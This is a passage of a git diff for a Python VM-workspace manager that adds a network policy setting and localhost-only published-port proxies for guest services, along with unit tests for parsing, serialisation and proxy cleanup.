normalized_cwd, _ = _normalize_workspace_destination(cwd) normalized_readiness = _normalize_workspace_service_readiness(readiness) normalized_secret_env = _normalize_workspace_secret_env_mapping(secret_env) + normalized_published_ports = _normalize_workspace_published_port_specs(published_ports) if ready_timeout_seconds <= 0: raise ValueError("ready_timeout_seconds must be positive") if ready_interval_ms <= 0: @@ -3810,6 +4068,16 @@ class VmManager: with self._lock: workspace = self._load_workspace_locked(workspace_id) instance = self._workspace_instance_for_live_service_locked(workspace) + if normalized_published_ports: + if workspace.network_policy != "egress+published-ports": + raise RuntimeError( + "published ports require workspace network_policy " + "'egress+published-ports'" + ) + if instance.network is None: + raise RuntimeError( + "published ports require an active guest network configuration" + ) redact_values = self._workspace_secret_redact_values_locked(workspace) env_values = self._workspace_secret_env_values_locked(workspace, normalized_secret_env) if workspace.secrets and normalized_secret_env: @@ -3852,6 +4120,36 @@ class VmManager: service_name=normalized_service_name, payload=payload, ) + if normalized_published_ports: + assert instance.network is not None # guarded above + try: + service.published_ports = self._start_workspace_service_published_ports( + workspace=workspace, + service=service, + guest_ip=instance.network.guest_ip, + published_ports=normalized_published_ports, + ) + except Exception: + try: + failed_payload = self._backend.stop_service( + instance, + workspace_id=workspace_id, + service_name=normalized_service_name, + ) + service = self._workspace_service_record_from_payload( + workspace_id=workspace_id, + service_name=normalized_service_name, + payload=failed_payload, + published_ports=[], + ) + except Exception: + service.state = "failed" + service.stop_reason = "published_port_failed" + service.ended_at = service.ended_at or time.time() + else: + service.state = "failed" + service.stop_reason = "published_port_failed" + service.ended_at = service.ended_at or time.time() with self._lock: workspace = self._load_workspace_locked(workspace_id) workspace.state = instance.state @@ -3916,7 +4214,21 @@ class VmManager: service_name=normalized_service_name, payload=payload, metadata=service.metadata, + published_ports=service.published_ports, ) + if service.published_ports: + for published_port in service.published_ports: + _stop_workspace_published_port_proxy(published_port) + service.published_ports = [ + WorkspacePublishedPortRecord( + guest_port=published_port.guest_port, + host_port=published_port.host_port, + host=published_port.host, + protocol=published_port.protocol, + proxy_pid=None, + ) + for published_port in service.published_ports + ] with self._lock: workspace = self._load_workspace_locked(workspace_id) workspace.state = instance.state @@ -3956,6 +4268,7 @@ class VmManager: service_name=normalized_service_name, payload=payload, metadata=service.metadata, + published_ports=service.published_ports, ) with self._lock: workspace = self._load_workspace_locked(workspace_id) @@ -4059,6 +4372,7 @@ class VmManager: "created_at": workspace.created_at, "expires_at": workspace.expires_at, "state": workspace.state, + "network_policy": workspace.network_policy, "network_enabled": workspace.network is not None, "allow_host_compat": workspace.allow_host_compat, "guest_ip": workspace.network.guest_ip if workspace.network is not None else None, @@ -4107,6 +4421,10 @@ class VmManager: "readiness": dict(service.readiness) if service.readiness is not None else None, "ready_at": service.ready_at, "stop_reason": service.stop_reason, + "published_ports": [ + _serialize_workspace_published_port_public(published_port) + for published_port in service.published_ports + ], } def _serialize_workspace_snapshot(self, snapshot: WorkspaceSnapshotRecord) -> dict[str, Any]: @@ -4182,6 +4500,23 @@ class VmManager: f"workspace: {reason}" ) + def _require_workspace_network_policy_support( + self, + *, + network_policy: WorkspaceNetworkPolicy, + ) -> None: + if network_policy == "off": + return + if self._runtime_capabilities.supports_guest_network: + return + reason = self._runtime_capabilities.reason or ( + "runtime does not support guest-backed workspace networking" + ) + raise RuntimeError( + "workspace network_policy requires guest networking and is unavailable for this " + f"workspace: {reason}" + ) + def _workspace_secret_values_locked(self, workspace: WorkspaceRecord) -> dict[str, str]: return _load_workspace_secret_values( workspace_dir=self._workspace_dir(workspace.workspace_id), @@ -4609,9 +4944,15 @@ class VmManager: service_name: str, payload: dict[str, Any], metadata: dict[str, str] | None = None, + published_ports: list[WorkspacePublishedPortRecord] | None = None, ) -> WorkspaceServiceRecord: readiness_payload = payload.get("readiness") readiness = dict(readiness_payload) if isinstance(readiness_payload, dict) else None + normalized_published_ports = _workspace_published_port_records( + payload.get("published_ports") + ) + if not normalized_published_ports and published_ports is not None: + normalized_published_ports = list(published_ports) return WorkspaceServiceRecord( workspace_id=workspace_id, service_name=str(payload.get("service_name", service_name)), @@ -4632,6 +4973,7 @@ class VmManager: pid=None if payload.get("pid") is None else int(payload.get("pid", 0)), execution_mode=str(payload.get("execution_mode", "pending")), stop_reason=_optional_str(payload.get("stop_reason")), + published_ports=normalized_published_ports, metadata=dict(metadata or {}), ) @@ -4652,6 +4994,33 @@ class VmManager: services = self._list_workspace_services_locked(workspace_id) return len(services), sum(1 for service in services if service.state == "running") + def _start_workspace_service_published_ports( + self, + *, + workspace: WorkspaceRecord, + service: WorkspaceServiceRecord, + guest_ip: str, + published_ports: list[WorkspacePublishedPortSpec], + ) -> list[WorkspacePublishedPortRecord]: + services_dir = self._workspace_services_dir(workspace.workspace_id) + started: list[WorkspacePublishedPortRecord] = [] + try: + for spec in published_ports: + started.append( + _start_workspace_published_port_proxy( + services_dir=services_dir, + service_name=service.service_name, + workspace_id=workspace.workspace_id, + guest_ip=guest_ip, + spec=spec, + ) + ) + except Exception: + for published_port in started: + _stop_workspace_published_port_proxy(published_port) + raise + return started + def _workspace_baseline_snapshot_locked( self, workspace: WorkspaceRecord, @@ -4770,12 +5139,18 @@ class VmManager: workspace_id: str, service_name: str, ) -> None: + existing = self._load_workspace_service_locked_optional(workspace_id, service_name) + if existing is not None: + for published_port in existing.published_ports: + _stop_workspace_published_port_proxy(published_port) self._workspace_service_record_path(workspace_id, service_name).unlink(missing_ok=True) services_dir = self._workspace_services_dir(workspace_id) _workspace_service_stdout_path(services_dir, service_name).unlink(missing_ok=True) _workspace_service_stderr_path(services_dir, service_name).unlink(missing_ok=True) _workspace_service_status_path(services_dir, service_name).unlink(missing_ok=True) _workspace_service_runner_path(services_dir, service_name).unlink(missing_ok=True) + for ready_path in services_dir.glob(f"{service_name}.port-*.ready.json"): + ready_path.unlink(missing_ok=True) def _delete_workspace_snapshot_locked(self, workspace_id: str, snapshot_name: str) -> None: self._workspace_snapshot_metadata_path(workspace_id, snapshot_name).unlink(missing_ok=True) @@ -4881,7 +5256,21 @@ class VmManager: service_name=service.service_name, payload=payload, metadata=service.metadata, + published_ports=service.published_ports, ) + if refreshed.state != "running" and refreshed.published_ports: + refreshed.published_ports = [ + WorkspacePublishedPortRecord( + guest_port=published_port.guest_port, + host_port=published_port.host_port, + host=published_port.host, + protocol=published_port.protocol, + proxy_pid=None, + ) + for published_port in refreshed.published_ports + ] + for published_port in service.published_ports: + _stop_workspace_published_port_proxy(published_port) self._save_workspace_service_locked(refreshed) return refreshed @@ -4904,6 +5293,8 @@ class VmManager: changed = False for service in services: if service.state == "running": + for published_port in service.published_ports: + _stop_workspace_published_port_proxy(published_port) service.state = "stopped" service.stop_reason = "workspace_stopped" service.ended_at = service.ended_at or time.time() @@ -4936,6 +5327,7 @@ class VmManager: service_name=service.service_name, payload=payload, metadata=service.metadata, + published_ports=service.published_ports, ) self._save_workspace_service_locked(stopped) except Exception: diff --git a/src/pyro_mcp/workspace_ports.py b/src/pyro_mcp/workspace_ports.py new file mode 100644 index 0000000..105ef6b --- /dev/null +++ b/src/pyro_mcp/workspace_ports.py @@ -0,0 +1,116 @@ +"""Localhost-only TCP port proxy for published workspace services.""" + +from __future__ import annotations + +import argparse +import json +import selectors +import signal +import socket +import socketserver +import sys +import threading +from pathlib import Path + +DEFAULT_PUBLISHED_PORT_HOST = "127.0.0.1" + + +class _ProxyServer(socketserver.ThreadingMixIn, socketserver.TCPServer): + allow_reuse_address = False + daemon_threads = True + + def __init__(self, server_address: tuple[str, int], target_address: tuple[str, int]) -> None: + super().__init__(server_address, _ProxyHandler) + self.target_address = target_address + + +class _ProxyHandler(socketserver.BaseRequestHandler): + def handle(self) -> None: + server = self.server + if not isinstance(server, _ProxyServer): + raise RuntimeError("proxy server is invalid") + try: + upstream = socket.create_connection(server.target_address, timeout=5) + except OSError: + return + with upstream: + self.request.setblocking(False) + upstream.setblocking(False) + selector = selectors.DefaultSelector() + try: + selector.register(self.request, selectors.EVENT_READ, upstream) + selector.register(upstream, selectors.EVENT_READ, self.request) + while True: + events = selector.select() + if not events: + continue + for key, _ in events: + source = key.fileobj + target = key.data + if not isinstance(source, socket.socket) or not isinstance( + target, socket.socket + ): + continue + try: + chunk = source.recv(65536) + except OSError: + return + if not chunk: + return + try: + target.sendall(chunk) + except OSError: + return + finally: + selector.close() + + +def _build_parser() -> argparse.ArgumentParser: + parser = argparse.ArgumentParser(description="Run a localhost-only TCP port proxy.") + parser.add_argument("--listen-host", required=True) + parser.add_argument("--listen-port", type=int, required=True) + parser.add_argument("--target-host", required=True) + parser.add_argument("--target-port", type=int, required=True) + parser.add_argument("--ready-file", required=True) + return parser + + +def main(argv: list[str] | None = None) -> int: + args = _build_parser().parse_args(argv) + ready_file = Path(args.ready_file) + ready_file.parent.mkdir(parents=True, exist_ok=True) + server = _ProxyServer( + (str(args.listen_host), int(args.listen_port)), + (str(args.target_host), int(args.target_port)), + ) + actual_host = str(server.server_address[0]) + actual_port = int(server.server_address[1]) + ready_file.write_text( + json.dumps( + { + "host": actual_host, + "host_port": actual_port, + "target_host": args.target_host, + "target_port": int(args.target_port), + "protocol": "tcp", + }, + indent=2, + sort_keys=True, + ), + encoding="utf-8", + ) + + def _shutdown(_: int, __: object) -> None: + threading.Thread(target=server.shutdown, daemon=True).start() + + signal.signal(signal.SIGTERM, _shutdown) + signal.signal(signal.SIGINT, _shutdown) + try: + server.serve_forever(poll_interval=0.2) + finally: + server.server_close() + return 0 + + +if __name__ == "__main__": + raise SystemExit(main(sys.argv[1:])) diff --git a/tests/test_api.py b/tests/test_api.py index 1990d79..61b7e86 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -123,6 +123,74 @@ def test_pyro_create_vm_defaults_sizing_and_host_compat(tmp_path: Path) -> None: assert created["allow_host_compat"] is True +def test_pyro_workspace_network_policy_and_published_ports_delegate() -> None: + calls: list[tuple[str, dict[str, Any]]] = [] + + class StubManager: + def create_workspace(self, **kwargs: Any) -> dict[str, Any]: + calls.append(("create_workspace", kwargs)) + return {"workspace_id": "workspace-123"} + + def start_service( + self, + workspace_id: str, + service_name: str, + **kwargs: Any, + ) -> dict[str, Any]: + calls.append( + ( + "start_service", + { + "workspace_id": workspace_id, + "service_name": service_name, + **kwargs, + }, + ) + ) + return {"workspace_id": workspace_id, "service_name": service_name, "state": "running"} + + pyro = Pyro(manager=cast(Any, StubManager())) + + pyro.create_workspace( + environment="debian:12", + network_policy="egress+published-ports", + ) + pyro.start_service( + "workspace-123", + "web", + command="python3 -m http.server 8080", + published_ports=[{"guest_port": 8080, "host_port": 18080}], + ) + + assert calls[0] == ( + "create_workspace", + { + "environment": "debian:12", + "vcpu_count": 1, + "mem_mib": 1024, + "ttl_seconds": 600, + "network_policy": "egress+published-ports", + "allow_host_compat": False, + "seed_path": None, + "secrets": None, + }, + ) + assert calls[1] == ( + "start_service", + { + "workspace_id": "workspace-123", + "service_name": "web", + "command": "python3 -m http.server 8080", + "cwd": "/workspace", + "readiness": None, + "ready_timeout_seconds": 30, + "ready_interval_ms": 500, + "secret_env": None, + "published_ports": [{"guest_port": 8080, "host_port": 18080}], + }, + ) + + def test_pyro_workspace_methods_delegate_to_manager(tmp_path: Path) -> None: pyro = Pyro( manager=VmManager( diff --git a/tests/test_cli.py b/tests/test_cli.py index f123642..56791ac 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -472,6 +472,7 @@ def test_cli_workspace_create_prints_json( def create_workspace(self, **kwargs: Any) -> dict[str, Any]: assert kwargs["environment"] == "debian:12" assert kwargs["seed_path"] == "./repo" + assert kwargs["network_policy"] == "egress" return {"workspace_id": "workspace-123", "state": "started"} class StubParser: @@ -483,7 +484,7 @@ def test_cli_workspace_create_prints_json( vcpu_count=1, mem_mib=1024, ttl_seconds=600, - network=False, + network_policy="egress", allow_host_compat=False, seed_path="./repo", json=True, @@ -506,6 +507,7 @@ def test_cli_workspace_create_prints_human( "workspace_id": "workspace-123", "environment": "debian:12", "state": "started", + "network_policy": "off", "workspace_path": "/workspace", "workspace_seed": { "mode": "directory", @@ -530,7 +532,7 @@ def test_cli_workspace_create_prints_human( vcpu_count=1, mem_mib=1024, ttl_seconds=600, - network=False, + network_policy="off", allow_host_compat=False, seed_path="/tmp/repo", json=False, @@ -2047,12 +2049,21 @@ def test_cli_workspace_service_start_prints_json( assert service_name == "app" assert kwargs["command"] == "sh -lc 'touch .ready && while true; do sleep 60; done'" assert kwargs["readiness"] == {"type": "file", "path": ".ready"} + assert kwargs["published_ports"] == [{"host_port": 18080, "guest_port": 8080}] return { "workspace_id": workspace_id, "service_name": service_name, "state": "running", "cwd": "/workspace", "execution_mode": "guest_vsock", + "published_ports": [ + { + "host": "127.0.0.1", + "host_port": 18080, + "guest_port": 8080, + "protocol": "tcp", + } + ], } class StartParser: @@ -2070,6 +2081,7 @@ def test_cli_workspace_service_start_prints_json( ready_command=None, ready_timeout_seconds=30, ready_interval_ms=500, + publish=["18080:8080"], json=True, command_args=["--", "sh", "-lc", "touch .ready && while true; do sleep 60; done"], ) @@ -2149,6 +2161,14 @@ def test_cli_workspace_service_list_prints_human( "state": "running", "cwd": "/workspace", "execution_mode": "guest_vsock", + "published_ports": [ + { + "host": "127.0.0.1", + "host_port": 18080, + "guest_port": 8080, + "protocol": "tcp", + } + ], "readiness": {"type": "file", "path": "/workspace/.ready"}, }, { @@ -2176,7 +2196,7 @@ def test_cli_workspace_service_list_prints_human( monkeypatch.setattr(cli, "Pyro", StubPyro) cli.main() captured = capsys.readouterr() - assert "app [running] cwd=/workspace" in captured.out + assert "app [running] cwd=/workspace published=127.0.0.1:18080->8080/tcp" in captured.out assert "worker [stopped] cwd=/workspace" in captured.out @@ -3006,6 +3026,110 @@ def test_cli_workspace_secret_parsers_validate_syntax(tmp_path: Path) -> None: cli._parse_workspace_secret_env_options(["TOKEN", "TOKEN=API_TOKEN"]) # noqa: SLF001 +def test_cli_workspace_publish_parser_validates_syntax() -> None: + assert cli._parse_workspace_publish_options(["8080"]) == [ # noqa: SLF001 + {"host_port": None, "guest_port": 8080} + ] + assert cli._parse_workspace_publish_options(["18080:8080"]) == [ # noqa: SLF001 + {"host_port": 18080, "guest_port": 8080} + ] + + with pytest.raises(ValueError, match="must not be empty"): + cli._parse_workspace_publish_options([" "]) # noqa: SLF001 + with pytest.raises(ValueError, match="must use GUEST_PORT or HOST_PORT:GUEST_PORT"): + cli._parse_workspace_publish_options(["bad"]) # noqa: SLF001 + with pytest.raises(ValueError, match="must use GUEST_PORT or HOST_PORT:GUEST_PORT"): + cli._parse_workspace_publish_options(["bad:8080"]) # noqa: SLF001 + + +def test_cli_workspace_service_start_rejects_multiple_readiness_flags_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def start_service(self, *args: Any, **kwargs: Any) -> dict[str, Any]: + raise AssertionError("start_service should not be called") + + class StartParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="start", + workspace_id="workspace-123", + service_name="app", + cwd="/workspace", + ready_file=".ready", + ready_tcp=None, + ready_http="http://127.0.0.1:8080/", + ready_command=None, + ready_timeout_seconds=30, + ready_interval_ms=500, + publish=[], + json=True, + command_args=["--", "sh", "-lc", "touch .ready && while true; do sleep 60; done"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StartParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + with pytest.raises(SystemExit, match="1"): + cli.main() + payload = json.loads(capsys.readouterr().out) + assert "choose at most one" in payload["error"] + + +def test_cli_workspace_service_start_prints_human_with_ready_http( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def start_service( + self, + workspace_id: str, + service_name: str, + **kwargs: Any, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert service_name == "app" + assert kwargs["readiness"] == {"type": "http", "url": "http://127.0.0.1:8080/ready"} + return { + "workspace_id": workspace_id, + "service_name": service_name, + "state": "running", + "cwd": "/workspace", + "execution_mode": "guest_vsock", + "readiness": kwargs["readiness"], + } + + class StartParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="start", + workspace_id="workspace-123", + service_name="app", + cwd="/workspace", + ready_file=None, + ready_tcp=None, + ready_http="http://127.0.0.1:8080/ready", + ready_command=None, + ready_timeout_seconds=30, + ready_interval_ms=500, + publish=[], + secret_env=[], + json=False, + command_args=["--", "sh", "-lc", "while true; do sleep 60; done"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StartParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + captured = capsys.readouterr() + assert "workspace-service-start" in captured.err + assert "service_name=app" in captured.err + + def test_print_workspace_summary_human_includes_secret_metadata( capsys: pytest.CaptureFixture[str], ) -> None: diff --git a/tests/test_vm_manager.py b/tests/test_vm_manager.py index 44c1fc0..8e31754 100644 --- a/tests/test_vm_manager.py +++ b/tests/test_vm_manager.py @@ -1393,6 +1393,775 @@ def test_workspace_service_lifecycle_and_status_counts(tmp_path: Path) -> None: assert deleted["deleted"] is True +def test_workspace_create_serializes_network_policy(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 + supports_vm_boot=True, + supports_guest_exec=True, + supports_guest_network=True, + ) + manager._ensure_workspace_guest_bootstrap_support = lambda instance: None # type: ignore[method-assign] # noqa: SLF001 + + created = manager.create_workspace( + environment="debian:12-base", + network_policy="egress", + ) + + assert created["network_policy"] == "egress" + workspace_id = str(created["workspace_id"]) + workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" + payload = json.loads(workspace_path.read_text(encoding="utf-8")) + assert payload["network_policy"] == "egress" + + +def test_workspace_service_start_serializes_published_ports( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 + supports_vm_boot=True, + supports_guest_exec=True, + supports_guest_network=True, + ) + manager._ensure_workspace_guest_bootstrap_support = lambda instance: None # type: ignore[method-assign] # noqa: SLF001 + created = manager.create_workspace( + environment="debian:12-base", + network_policy="egress+published-ports", + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + + workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" + payload = json.loads(workspace_path.read_text(encoding="utf-8")) + payload["network"] = { + "vm_id": workspace_id, + "tap_name": "tap-test0", + "guest_ip": "172.29.1.2", + "gateway_ip": "172.29.1.1", + "subnet_cidr": "172.29.1.0/30", + "mac_address": "06:00:ac:1d:01:02", + "dns_servers": ["1.1.1.1"], + } + workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + + monkeypatch.setattr( + manager, + "_start_workspace_service_published_ports", + lambda **kwargs: [ + vm_manager_module.WorkspacePublishedPortRecord( + guest_port=8080, + host_port=18080, + host="127.0.0.1", + protocol="tcp", + proxy_pid=9999, + ) + ], + ) + monkeypatch.setattr( + manager, + "_refresh_workspace_liveness_locked", + lambda workspace: None, + ) + + started = manager.start_service( + workspace_id, + "web", + command="sh -lc 'touch .ready && while true; do sleep 60; done'", + readiness={"type": "file", "path": ".ready"}, + published_ports=[{"guest_port": 8080, "host_port": 18080}], + ) + + assert started["published_ports"] == [ + { + "host": "127.0.0.1", + "host_port": 18080, + "guest_port": 8080, + "protocol": "tcp", + } + ] + + +def test_workspace_service_start_rejects_published_ports_without_network_policy( + tmp_path: Path, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + )["workspace_id"] + ) + + with pytest.raises( + RuntimeError, + match="published ports require workspace network_policy 'egress\\+published-ports'", + ): + manager.start_service( + workspace_id, + "web", + command="sh -lc 'touch .ready && while true; do sleep 60; done'", + readiness={"type": "file", "path": ".ready"}, + published_ports=[{"guest_port": 8080}], + ) + + +def test_workspace_service_start_rejects_published_ports_without_active_network( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 + supports_vm_boot=True, + supports_guest_exec=True, + supports_guest_network=True, + ) + manager._ensure_workspace_guest_bootstrap_support = lambda instance: None # type: ignore[method-assign] # noqa: SLF001 + monkeypatch.setattr( + manager, + "_refresh_workspace_liveness_locked", + lambda workspace: None, + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + network_policy="egress+published-ports", + allow_host_compat=True, + )["workspace_id"] + ) + + with pytest.raises(RuntimeError, match="published ports require an active guest network"): + manager.start_service( + workspace_id, + "web", + command="sh -lc 'touch .ready && while true; do sleep 60; done'", + readiness={"type": "file", "path": ".ready"}, + published_ports=[{"guest_port": 8080}], + ) + + +def test_workspace_service_start_published_port_failure_marks_service_failed( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 + supports_vm_boot=True, + supports_guest_exec=True, + supports_guest_network=True, + ) + manager._ensure_workspace_guest_bootstrap_support = lambda instance: None # type: ignore[method-assign] # noqa: SLF001 + monkeypatch.setattr( + manager, + "_refresh_workspace_liveness_locked", + lambda workspace: None, + ) + created = manager.create_workspace( + environment="debian:12-base", + network_policy="egress+published-ports", + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + + workspace_path = tmp_path / "vms" / "workspaces" / workspace_id / "workspace.json" + payload = json.loads(workspace_path.read_text(encoding="utf-8")) + payload["network"] = { + "vm_id": workspace_id, + "tap_name": "tap-test0", + "guest_ip": "172.29.1.2", + "gateway_ip": "172.29.1.1", + "subnet_cidr": "172.29.1.0/30", + "mac_address": "06:00:ac:1d:01:02", + "dns_servers": ["1.1.1.1"], + } + workspace_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + + def _raise_proxy_failure( + **kwargs: object, + ) -> list[vm_manager_module.WorkspacePublishedPortRecord]: + del kwargs + raise RuntimeError("proxy boom") + + monkeypatch.setattr(manager, "_start_workspace_service_published_ports", _raise_proxy_failure) + + started = manager.start_service( + workspace_id, + "web", + command="sh -lc 'touch .ready && while true; do sleep 60; done'", + readiness={"type": "file", "path": ".ready"}, + published_ports=[{"guest_port": 8080, "host_port": 18080}], + ) + + assert started["state"] == "failed" + assert started["stop_reason"] == "published_port_failed" + assert started["published_ports"] == [] + + +def test_workspace_service_cleanup_stops_published_port_proxies( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = "workspace-cleanup" + service = vm_manager_module.WorkspaceServiceRecord( + workspace_id=workspace_id, + service_name="web", + command="sleep 60", + cwd="/workspace", + state="running", + pid=1234, + started_at=time.time(), + ended_at=None, + exit_code=None, + execution_mode="host_compat", + readiness=None, + ready_at=None, + stop_reason=None, + published_ports=[ + vm_manager_module.WorkspacePublishedPortRecord( + guest_port=8080, + host_port=18080, + proxy_pid=9999, + ) + ], + ) + manager._save_workspace_service_locked(service) # noqa: SLF001 + stopped: list[int | None] = [] + monkeypatch.setattr( + vm_manager_module, + "_stop_workspace_published_port_proxy", + lambda published_port: stopped.append(published_port.proxy_pid), + ) + + manager._delete_workspace_service_artifacts_locked(workspace_id, "web") # noqa: SLF001 + + assert stopped == [9999] + assert not manager._workspace_service_record_path(workspace_id, "web").exists() # noqa: SLF001 + + +def test_workspace_refresh_workspace_service_counts_stops_published_ports_when_stopped( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace = vm_manager_module.WorkspaceRecord( + workspace_id="workspace-counts", + environment="debian:12-base", + vcpu_count=1, + mem_mib=1024, + ttl_seconds=600, + created_at=time.time(), + expires_at=time.time() + 600, + state="stopped", + firecracker_pid=None, + last_error=None, + allow_host_compat=True, + network_policy="off", + metadata={}, + command_count=0, + last_command=None, + workspace_seed={ + "mode": "empty", + "seed_path": None, + "destination": "/workspace", + "entry_count": 0, + "bytes_written": 0, + }, + secrets=[], + reset_count=0, + last_reset_at=None, + ) + service = vm_manager_module.WorkspaceServiceRecord( + workspace_id=workspace.workspace_id, + service_name="web", + command="sleep 60", + cwd="/workspace", + state="running", + pid=1234, + started_at=time.time(), + ended_at=None, + exit_code=None, + execution_mode="host_compat", + readiness=None, + ready_at=None, + stop_reason=None, + published_ports=[ + vm_manager_module.WorkspacePublishedPortRecord( + guest_port=8080, + host_port=18080, + proxy_pid=9999, + ) + ], + ) + manager._save_workspace_service_locked(service) # noqa: SLF001 + stopped: list[int | None] = [] + monkeypatch.setattr( + vm_manager_module, + "_stop_workspace_published_port_proxy", + lambda published_port: stopped.append(published_port.proxy_pid), + ) + + manager._refresh_workspace_service_counts_locked(workspace) # noqa: SLF001 + + assert stopped == [9999] + refreshed = manager._load_workspace_service_locked(workspace.workspace_id, "web") # noqa: SLF001 + assert refreshed.state == "stopped" + assert refreshed.stop_reason == "workspace_stopped" + + +def test_workspace_published_port_proxy_helpers( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + services_dir = tmp_path / "services" + services_dir.mkdir(parents=True, exist_ok=True) + + class StubProcess: + def __init__(self, pid: int, *, exited: bool = False) -> None: + self.pid = pid + self._exited = exited + + def poll(self) -> int | None: + return 1 if self._exited else None + + def _fake_popen(command: list[str], **kwargs: object) -> StubProcess: + del kwargs + ready_file = Path(command[command.index("--ready-file") + 1]) + ready_file.write_text( + json.dumps( + { + "host": "127.0.0.1", + "host_port": 18080, + "target_host": "172.29.1.2", + "target_port": 8080, + "protocol": "tcp", + } + ), + encoding="utf-8", + ) + return StubProcess(4242) + + monkeypatch.setattr(subprocess, "Popen", _fake_popen) + + record = vm_manager_module._start_workspace_published_port_proxy( # noqa: SLF001 + services_dir=services_dir, + service_name="web", + workspace_id="workspace-proxy", + guest_ip="172.29.1.2", + spec=vm_manager_module.WorkspacePublishedPortSpec( + guest_port=8080, + host_port=18080, + ), + ) + + assert record.guest_port == 8080 + assert record.host_port == 18080 + assert record.proxy_pid == 4242 + + +def test_workspace_published_port_proxy_timeout_and_stop( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + services_dir = tmp_path / "services" + services_dir.mkdir(parents=True, exist_ok=True) + + class StubProcess: + pid = 4242 + + def poll(self) -> int | None: + return None + + monkeypatch.setattr(subprocess, "Popen", lambda *args, **kwargs: StubProcess()) + monotonic_values = iter([0.0, 0.0, 5.1]) + monkeypatch.setattr(time, "monotonic", lambda: next(monotonic_values)) + monkeypatch.setattr(time, "sleep", lambda _: None) + stopped: list[int | None] = [] + monkeypatch.setattr( + vm_manager_module, + "_stop_workspace_published_port_proxy", + lambda published_port: stopped.append(published_port.proxy_pid), + ) + + with pytest.raises(RuntimeError, match="timed out waiting for published port proxy readiness"): + vm_manager_module._start_workspace_published_port_proxy( # noqa: SLF001 + services_dir=services_dir, + service_name="web", + workspace_id="workspace-proxy", + guest_ip="172.29.1.2", + spec=vm_manager_module.WorkspacePublishedPortSpec( + guest_port=8080, + host_port=18080, + ), + ) + + assert stopped == [4242] + + +def test_workspace_published_port_validation_and_stop_helper( + monkeypatch: pytest.MonkeyPatch, +) -> None: + spec = vm_manager_module._normalize_workspace_published_port( # noqa: SLF001 + guest_port="8080", + host_port="18080", + ) + assert spec.guest_port == 8080 + assert spec.host_port == 18080 + with pytest.raises(ValueError, match="published guest_port must be an integer"): + vm_manager_module._normalize_workspace_published_port(guest_port=object()) # noqa: SLF001 + with pytest.raises(ValueError, match="published host_port must be between 1025 and 65535"): + vm_manager_module._normalize_workspace_published_port( # noqa: SLF001 + guest_port=8080, + host_port=80, + ) + + signals: list[int] = [] + monkeypatch.setattr(os, "killpg", lambda pid, sig: signals.append(sig)) + running = iter([True, False]) + monkeypatch.setattr(vm_manager_module, "_pid_is_running", lambda pid: next(running)) + monkeypatch.setattr(time, "sleep", lambda _: None) + + vm_manager_module._stop_workspace_published_port_proxy( # noqa: SLF001 + vm_manager_module.WorkspacePublishedPortRecord( + guest_port=8080, + host_port=18080, + proxy_pid=9999, + ) + ) + + assert signals == [signal.SIGTERM] + + +def test_workspace_network_policy_requires_guest_network_support(tmp_path: Path) -> None: + manager = VmManager( + backend_name="firecracker", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 + supports_vm_boot=False, + supports_guest_exec=False, + supports_guest_network=False, + reason="no guest network", + ) + + with pytest.raises(RuntimeError, match="workspace network_policy requires guest networking"): + manager._require_workspace_network_policy_support( # noqa: SLF001 + network_policy="egress" + ) + + +def test_prepare_workspace_seed_rejects_missing_and_invalid_paths(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + with pytest.raises(ValueError, match="does not exist"): + manager._prepare_workspace_seed(tmp_path / 